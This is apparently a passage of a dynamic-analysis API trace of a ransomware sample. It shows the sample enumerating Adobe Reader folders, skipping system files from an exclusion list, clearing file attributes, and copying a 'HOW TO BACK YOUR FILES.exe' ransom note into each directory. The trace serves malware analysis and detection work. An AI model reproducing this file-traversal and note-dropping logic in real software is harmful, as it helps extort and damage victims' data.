	[0056.790] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39ec80f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39ec80f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.791] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.791] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.791] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0056.791] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39ec80f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39ec80f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0056.791] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.791] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0056.791] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0056.791] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0056.791] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7cfd90c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1027.mst", cAlternateFileName="")) returned 1
	[0056.791] lstrcmpiW (lpString1="1027.mst", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.791] lstrcmpiW (lpString1="1027.mst", lpString2="Apollon865.txt.exe") returned -1
	[0056.791] lstrcmpiW (lpString1="1027.mst", lpString2=".") returned 1
	[0056.791] lstrcmpiW (lpString1="1027.mst", lpString2="..") returned 1
	[0056.791] lstrcmpiW (lpString1="1027.mst", lpString2="windows") returned -1
	[0056.791] lstrcmpiW (lpString1="1027.mst", lpString2="bootmgr") returned -1
	[0056.791] lstrcmpiW (lpString1="1027.mst", lpString2="temp") returned -1
	[0056.791] lstrcmpiW (lpString1="1027.mst", lpString2="pagefile.sys") returned -1
	[0056.791] lstrcmpiW (lpString1="1027.mst", lpString2="boot") returned -1
	[0056.791] lstrcmpiW (lpString1="1027.mst", lpString2="ids.txt") returned -1
	[0056.791] lstrcmpiW (lpString1="1027.mst", lpString2="ntuser.dat") returned -1
	[0056.791] lstrcmpiW (lpString1="1027.mst", lpString2="perflogs") returned -1
	[0056.791] lstrcmpiW (lpString1="1027.mst", lpString2="MSBuild") returned -1
	[0056.791] lstrlenW (lpString="1027.mst") returned 8
	[0056.791] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*") returned 93
	[0056.791] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1027.mst" | out: lpString1="1027.mst") returned="1027.mst"
	[0056.791] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1027.mst", dwFileAttributes=0x20) returned 1
	[0056.792] lstrlenW (lpString="1027.mst") returned 8
	[0056.792] lstrlenW (lpString="Apollon865") returned 10
	[0056.792] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1028.mst" | out: lpString1="1028.mst") returned="1028.mst"
	[0056.792] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1028.mst", dwFileAttributes=0x20) returned 1
	[0056.792] lstrlenW (lpString="1028.mst") returned 8
	[0056.792] lstrlenW (lpString="Apollon865") returned 10
	[0056.792] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1029.mst" | out: lpString1="1029.mst") returned="1029.mst"
	[0056.792] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1029.mst", dwFileAttributes=0x20) returned 1
	[0056.793] lstrlenW (lpString="1029.mst") returned 8
	[0056.793] lstrlenW (lpString="Apollon865") returned 10
	[0056.793] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1030.mst" | out: lpString1="1030.mst") returned="1030.mst"
	[0056.793] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1030.mst", dwFileAttributes=0x20) returned 1
	[0056.793] lstrlenW (lpString="1030.mst") returned 8
	[0056.793] lstrlenW (lpString="Apollon865") returned 10
	[0056.794] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1031.mst" | out: lpString1="1031.mst") returned="1031.mst"
	[0056.794] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1031.mst", dwFileAttributes=0x20) returned 1
	[0056.795] lstrlenW (lpString="1031.mst") returned 8
	[0056.795] lstrlenW (lpString="Apollon865") returned 10
	[0056.796] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1033.mst" | out: lpString1="1033.mst") returned="1033.mst"
	[0056.796] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1033.mst", dwFileAttributes=0x20) returned 1
	[0056.796] lstrlenW (lpString="1033.mst") returned 8
	[0056.796] lstrlenW (lpString="Apollon865") returned 10
	[0056.796] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1034.mst" | out: lpString1="1034.mst") returned="1034.mst"
	[0056.796] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1034.mst", dwFileAttributes=0x20) returned 1
	[0056.796] lstrlenW (lpString="1034.mst") returned 8
	[0056.796] lstrlenW (lpString="Apollon865") returned 10
	[0056.797] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1035.mst" | out: lpString1="1035.mst") returned="1035.mst"
	[0056.797] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1035.mst", dwFileAttributes=0x20) returned 1
	[0056.797] lstrlenW (lpString="1035.mst") returned 8
	[0056.797] lstrlenW (lpString="Apollon865") returned 10
	[0056.797] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1036.mst" | out: lpString1="1036.mst") returned="1036.mst"
	[0056.797] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1036.mst", dwFileAttributes=0x20) returned 1
	[0056.799] lstrlenW (lpString="1036.mst") returned 8
	[0056.799] lstrlenW (lpString="Apollon865") returned 10
	[0056.799] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1038.mst" | out: lpString1="1038.mst") returned="1038.mst"
	[0056.799] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1038.mst", dwFileAttributes=0x20) returned 1
	[0056.800] lstrlenW (lpString="1038.mst") returned 8
	[0056.800] lstrlenW (lpString="Apollon865") returned 10
	[0056.800] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1040.mst" | out: lpString1="1040.mst") returned="1040.mst"
	[0056.800] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1040.mst", dwFileAttributes=0x20) returned 1
	[0056.800] lstrlenW (lpString="1040.mst") returned 8
	[0056.800] lstrlenW (lpString="Apollon865") returned 10
	[0056.800] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1041.mst" | out: lpString1="1041.mst") returned="1041.mst"
	[0056.800] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1041.mst", dwFileAttributes=0x20) returned 1
	[0056.801] lstrlenW (lpString="1041.mst") returned 8
	[0056.801] lstrlenW (lpString="Apollon865") returned 10
	[0056.801] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1042.mst" | out: lpString1="1042.mst") returned="1042.mst"
	[0056.801] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1042.mst", dwFileAttributes=0x20) returned 1
	[0056.803] lstrlenW (lpString="1042.mst") returned 8
	[0056.803] lstrlenW (lpString="Apollon865") returned 10
	[0056.803] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1043.mst" | out: lpString1="1043.mst") returned="1043.mst"
	[0056.803] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1043.mst", dwFileAttributes=0x20) returned 1
	[0056.803] lstrlenW (lpString="1043.mst") returned 8
	[0056.803] lstrlenW (lpString="Apollon865") returned 10
	[0056.803] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1044.mst" | out: lpString1="1044.mst") returned="1044.mst"
	[0056.803] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1044.mst", dwFileAttributes=0x20) returned 1
	[0056.804] lstrlenW (lpString="1044.mst") returned 8
	[0056.804] lstrlenW (lpString="Apollon865") returned 10
	[0056.804] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1045.mst" | out: lpString1="1045.mst") returned="1045.mst"
	[0056.804] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1045.mst", dwFileAttributes=0x20) returned 1
	[0056.804] lstrlenW (lpString="1045.mst") returned 8
	[0056.804] lstrlenW (lpString="Apollon865") returned 10
	[0056.804] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1046.mst" | out: lpString1="1046.mst") returned="1046.mst"
	[0056.804] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1046.mst", dwFileAttributes=0x20) returned 1
	[0056.806] lstrlenW (lpString="1046.mst") returned 8
	[0056.806] lstrlenW (lpString="Apollon865") returned 10
	[0056.806] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1048.mst" | out: lpString1="1048.mst") returned="1048.mst"
	[0056.806] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1048.mst", dwFileAttributes=0x20) returned 1
	[0056.807] lstrlenW (lpString="1048.mst") returned 8
	[0056.807] lstrlenW (lpString="Apollon865") returned 10
	[0056.807] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1049.mst" | out: lpString1="1049.mst") returned="1049.mst"
	[0056.807] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1049.mst", dwFileAttributes=0x20) returned 1
	[0056.807] lstrlenW (lpString="1049.mst") returned 8
	[0056.807] lstrlenW (lpString="Apollon865") returned 10
	[0056.807] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1050.mst" | out: lpString1="1050.mst") returned="1050.mst"
	[0056.807] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1050.mst", dwFileAttributes=0x20) returned 1
	[0056.808] lstrlenW (lpString="1050.mst") returned 8
	[0056.808] lstrlenW (lpString="Apollon865") returned 10
	[0056.808] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1051.mst" | out: lpString1="1051.mst") returned="1051.mst"
	[0056.808] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1051.mst", dwFileAttributes=0x20) returned 1
	[0056.810] lstrlenW (lpString="1051.mst") returned 8
	[0056.810] lstrlenW (lpString="Apollon865") returned 10
	[0056.810] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1053.mst" | out: lpString1="1053.mst") returned="1053.mst"
	[0056.810] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1053.mst", dwFileAttributes=0x20) returned 1
	[0056.810] lstrlenW (lpString="1053.mst") returned 8
	[0056.810] lstrlenW (lpString="Apollon865") returned 10
	[0056.810] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1055.mst" | out: lpString1="1055.mst") returned="1055.mst"
	[0056.810] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1055.mst", dwFileAttributes=0x20) returned 1
	[0056.811] lstrlenW (lpString="1055.mst") returned 8
	[0056.811] lstrlenW (lpString="Apollon865") returned 10
	[0056.811] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1058.mst" | out: lpString1="1058.mst") returned="1058.mst"
	[0056.811] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1058.mst", dwFileAttributes=0x20) returned 1
	[0056.811] lstrlenW (lpString="1058.mst") returned 8
	[0056.811] lstrlenW (lpString="Apollon865") returned 10
	[0056.811] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1060.mst" | out: lpString1="1060.mst") returned="1060.mst"
	[0056.811] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1060.mst", dwFileAttributes=0x20) returned 1
	[0056.817] lstrlenW (lpString="1060.mst") returned 8
	[0056.817] lstrlenW (lpString="Apollon865") returned 10
	[0056.817] lstrcpyW (in: lpString1=0x2d3e608, lpString2="1069.mst" | out: lpString1="1069.mst") returned="1069.mst"
	[0056.817] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1069.mst", dwFileAttributes=0x20) returned 1
	[0056.818] lstrlenW (lpString="1069.mst") returned 8
	[0056.818] lstrlenW (lpString="Apollon865") returned 10
	[0056.818] lstrcpyW (in: lpString1=0x2d3e608, lpString2="2052.mst" | out: lpString1="2052.mst") returned="2052.mst"
	[0056.818] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\2052.mst", dwFileAttributes=0x20) returned 1
	[0056.820] lstrlenW (lpString="2052.mst") returned 8
	[0056.820] lstrlenW (lpString="Apollon865") returned 10
	[0056.820] lstrcpyW (in: lpString1=0x2d3e608, lpString2="ABCPY.INI" | out: lpString1="ABCPY.INI") returned="ABCPY.INI"
	[0056.820] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\ABCPY.INI", dwFileAttributes=0x20) returned 1
	[0056.820] lstrlenW (lpString="ABCPY.INI") returned 9
	[0056.820] lstrlenW (lpString="Apollon865") returned 10
	[0056.820] lstrcpyW (in: lpString1=0x2d3e608, lpString2="AcroRead.msi" | out: lpString1="AcroRead.msi") returned="AcroRead.msi"
	[0056.820] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\AcroRead.msi", dwFileAttributes=0x20) returned 1
	[0056.821] lstrlenW (lpString="AcroRead.msi") returned 12
	[0056.821] lstrlenW (lpString="Apollon865") returned 10
	[0056.821] lstrcmpiW (lpString1="roRead.msi", lpString2="Apollon865") returned 1
	[0056.821] lstrcpyW (in: lpString1=0x2d3e608, lpString2="Data1.cab" | out: lpString1="Data1.cab") returned="Data1.cab"
	[0056.821] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\Data1.cab", dwFileAttributes=0x20) returned 1
	[0056.821] lstrlenW (lpString="Data1.cab") returned 9
	[0056.822] lstrlenW (lpString="Apollon865") returned 10
	[0056.822] lstrcpyW (in: lpString1=0x2d3e608, lpString2="Setup.exe" | out: lpString1="Setup.exe") returned="Setup.exe"
	[0056.822] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\Setup.exe", dwFileAttributes=0x20) returned 1
	[0056.822] lstrlenW (lpString="Setup.exe") returned 9
	[0056.822] lstrlenW (lpString="Apollon865") returned 10
	[0056.822] lstrcpyW (in: lpString1=0x2d3e608, lpString2="setup.ini" | out: lpString1="setup.ini") returned="setup.ini"
	[0056.822] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\setup.ini", dwFileAttributes=0x20) returned 1
	[0056.822] lstrlenW (lpString="setup.ini") returned 9
	[0056.823] lstrlenW (lpString="Apollon865") returned 10
	[0056.823] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource"
	[0056.823] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0056.823] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0056.823] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned 49
	[0056.823] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource"
	[0056.823] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.823] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.830] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.830] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39f143b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39f143b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.830] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.830] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.830] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0056.830] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39f143b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39f143b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0056.830] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.830] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0056.830] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0056.830] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0056.830] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CIDFont", cAlternateFileName="")) returned 1
	[0056.830] lstrcmpiW (lpString1="CIDFont", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.830] lstrcmpiW (lpString1="CIDFont", lpString2="Apollon865.txt.exe") returned 1
	[0056.830] lstrcmpiW (lpString1="CIDFont", lpString2=".") returned 1
	[0056.830] lstrcmpiW (lpString1="CIDFont", lpString2="..") returned 1
	[0056.830] lstrcmpiW (lpString1="CIDFont", lpString2="windows") returned -1
	[0056.830] lstrcmpiW (lpString1="CIDFont", lpString2="bootmgr") returned 1
	[0056.830] lstrcmpiW (lpString1="CIDFont", lpString2="temp") returned -1
	[0056.830] lstrcmpiW (lpString1="CIDFont", lpString2="pagefile.sys") returned -1
	[0056.830] lstrcmpiW (lpString1="CIDFont", lpString2="boot") returned 1
	[0056.830] lstrcmpiW (lpString1="CIDFont", lpString2="ids.txt") returned -1
	[0056.830] lstrcmpiW (lpString1="CIDFont", lpString2="ntuser.dat") returned -1
	[0056.830] lstrcmpiW (lpString1="CIDFont", lpString2="perflogs") returned -1
	[0056.830] lstrcmpiW (lpString1="CIDFont", lpString2="MSBuild") returned -1
	[0056.831] lstrlenW (lpString="CIDFont") returned 7
	[0056.831] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*") returned 51
	[0056.831] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CIDFont" | out: lpString1="CIDFont") returned="CIDFont"
	[0056.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0056.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5916c0
	[0056.831] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0056.831] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CMap", cAlternateFileName="")) returned 1
	[0056.831] lstrcmpiW (lpString1="CMap", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.831] lstrcmpiW (lpString1="CMap", lpString2="Apollon865.txt.exe") returned 1
	[0056.831] lstrcmpiW (lpString1="CMap", lpString2=".") returned 1
	[0056.831] lstrcmpiW (lpString1="CMap", lpString2="..") returned 1
	[0056.831] lstrcmpiW (lpString1="CMap", lpString2="windows") returned -1
	[0056.831] lstrcmpiW (lpString1="CMap", lpString2="bootmgr") returned 1
	[0056.831] lstrcmpiW (lpString1="CMap", lpString2="temp") returned -1
	[0056.831] lstrcmpiW (lpString1="CMap", lpString2="pagefile.sys") returned -1
	[0056.831] lstrcmpiW (lpString1="CMap", lpString2="boot") returned 1
	[0056.831] lstrcmpiW (lpString1="CMap", lpString2="ids.txt") returned -1
	[0056.831] lstrcmpiW (lpString1="CMap", lpString2="ntuser.dat") returned -1
	[0056.831] lstrcmpiW (lpString1="CMap", lpString2="perflogs") returned -1
	[0056.831] lstrcmpiW (lpString1="CMap", lpString2="MSBuild") returned -1
	[0056.831] lstrlenW (lpString="CMap") returned 4
	[0056.831] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned 57
	[0056.831] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CMap" | out: lpString1="CMap") returned="CMap"
	[0056.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0056.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6e) returned 0x59aa88
	[0056.831] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7930
	[0056.831] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENUtxt.pdf", cAlternateFileName="")) returned 1
	[0056.831] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.831] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="Apollon865.txt.exe") returned 1
	[0056.831] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2=".") returned 1
	[0056.831] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="..") returned 1
	[0056.831] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="windows") returned -1
	[0056.832] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="bootmgr") returned 1
	[0056.832] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="temp") returned -1
	[0056.832] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="pagefile.sys") returned -1
	[0056.832] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="boot") returned 1
	[0056.832] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="ids.txt") returned -1
	[0056.832] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="ntuser.dat") returned -1
	[0056.832] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="perflogs") returned -1
	[0056.832] lstrcmpiW (lpString1="ENUtxt.pdf", lpString2="MSBuild") returned -1
	[0056.832] lstrlenW (lpString="ENUtxt.pdf") returned 10
	[0056.832] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned 54
